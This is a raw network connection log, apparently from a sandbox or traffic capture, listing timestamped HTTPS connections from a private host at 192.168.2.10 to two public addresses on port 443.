Oct 19, 2024 00:14:02.198999882 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.198999882 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.199027061 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.199045897 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.199629068 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.200021029 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.200450897 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.200459957 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.201078892 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.201083899 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.201272011 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.201282978 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.201739073 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.201744080 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.203790903 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.203833103 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.203947067 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.205027103 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.205049992 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.205148935 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.205365896 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.205382109 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.205607891 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.205621004 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.215471983 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:02.215517998 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:02.216047049 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:02.217982054 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:02.217993021 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:02.334146023 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.334167004 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.334243059 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.334292889 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.334292889 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.334633112 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.334633112 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.334654093 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.334664106 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.336024046 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.336081028 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.336149931 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.336343050 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.336363077 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.336374998 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.336380959 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.337697983 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.337752104 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.337843895 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.338246107 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.338260889 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.338565111 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.338612080 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.338699102 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.338800907 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.338814020 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.484755993 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.485352993 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.485362053 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.485851049 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.485855103 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.615463972 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.615483046 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.615545988 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.615556955 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.615633965 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.615861893 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.615879059 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.615889072 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.615894079 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.618911982 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.618957043 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.619039059 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.619225979 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.619241953 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.951597929 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.952403069 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.952426910 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.952897072 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.952900887 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.959068060 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.959821939 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.959836960 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.960455894 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.960460901 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.076384068 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.076473951 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.078481913 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.078490019 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.078736067 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.090270042 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.090298891 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.090346098 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.090370893 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.090675116 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.090816975 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.091833115 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.091846943 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.091859102 CEST	49801	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.091864109 CEST	443	49801	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.094728947 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.094887018 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.094947100 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.095001936 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.095541000 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.095590115 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.095654964 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.095870972 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.095882893 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.096148968 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.096165895 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.096570969 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.096575975 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.096738100 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.096744061 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.096752882 CEST	49802	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.096756935 CEST	443	49802	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.099898100 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.099932909 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.100091934 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.100545883 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.100557089 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.121145964 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.155775070 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.203402996 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.229547024 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.229614019 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.229743958 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.229943037 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.229958057 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.229968071 CEST	49805	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.229974031 CEST	443	49805	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.233228922 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.233256102 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.233474016 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.233532906 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.233541012 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.327670097 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.328227043 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.328260899 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.328716993 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.328726053 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.366725922 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.367271900 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.367301941 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.367749929 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.367757082 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.438611031 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.438636065 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.438643932 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.438677073 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.438721895 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.438740969 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.438750982 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.438760996 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.438791990 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.439501047 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.439594984 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.439601898 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.440360069 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.440407991 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.450273037 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.450299025 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.450309992 CEST	49803	443	192.168.2.10	20.12.23.50
Oct 19, 2024 00:14:03.450316906 CEST	443	49803	20.12.23.50	192.168.2.10
Oct 19, 2024 00:14:03.458636045 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.458868980 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.458952904 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.459031105 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.459043026 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.459058046 CEST	49804	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.459060907 CEST	443	49804	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.461900949 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.461946011 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.462018967 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.462143898 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.462157965 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.499680042 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.499742985 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.499809980 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.500103951 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.500124931 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.500138998 CEST	49806	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.500144958 CEST	443	49806	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.502804995 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.502840996 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.506913900 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.508608103 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.508625984 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.837255955 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.841029882 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.841072083 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.841839075 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.841845989 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.967240095 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.967705965 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.967721939 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.968265057 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.968271017 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.974210978 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.974286079 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.974358082 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.974533081 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.974555016 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.974569082 CEST	49807	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.974575043 CEST	443	49807	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.978327036 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.978409052 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:03.978609085 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.978765011 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:03.978777885 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.045821905 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.083367109 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.083380938 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.083825111 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.083832026 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.112546921 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.112623930 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.112746954 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.116265059 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.116265059 CEST	49809	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.116297960 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.116309881 CEST	443	49809	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.167982101 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.168004036 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.168116093 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.181387901 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.181415081 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.210445881 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.214051008 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.214473009 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.214574099 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.244508982 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.244890928 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.244923115 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.248708963 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.248722076 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.252219915 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.252238989 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.255871058 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.255887032 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.256027937 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.256027937 CEST	49808	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.256051064 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.256061077 CEST	443	49808	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.283014059 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.283056021 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.283179998 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.283379078 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.283399105 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.376418114 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.376732111 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.376796007 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.376914978 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.376914978 CEST	49810	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.376930952 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.376940966 CEST	443	49810	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.379897118 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.379949093 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.380012035 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.380145073 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.380157948 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.387687922 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.387752056 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.387809992 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.388752937 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.388777018 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.388875961 CEST	49811	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.388883114 CEST	443	49811	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.391242981 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.391282082 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.391339064 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.391510963 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.391520977 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.729358912 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.729914904 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.729942083 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.730381966 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.730390072 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.865639925 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.865727901 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.865854025 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.866043091 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.866070032 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.866077900 CEST	49812	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.866084099 CEST	443	49812	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.869399071 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.869453907 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.869524002 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.869687080 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.869703054 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.948014975 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.948570013 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.948595047 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:04.949103117 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:04.949116945 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.036540985 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.037198067 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.037213087 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.037754059 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.037760019 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.083890915 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.083920002 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.083971024 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.084026098 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.084141016 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.084392071 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.084392071 CEST	49813	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.084407091 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.084413052 CEST	443	49813	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.088078976 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.088120937 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.088217020 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.088403940 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.088418961 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.116663933 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.118439913 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.118473053 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.118902922 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.118908882 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.137248993 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.137706041 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.137717962 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.138252020 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.138258934 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.172174931 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.172261953 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.172357082 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.172705889 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.172705889 CEST	49814	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.172723055 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.172732115 CEST	443	49814	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.175436974 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.175468922 CEST	443	49819	13.107.246.45	192.168.2.10
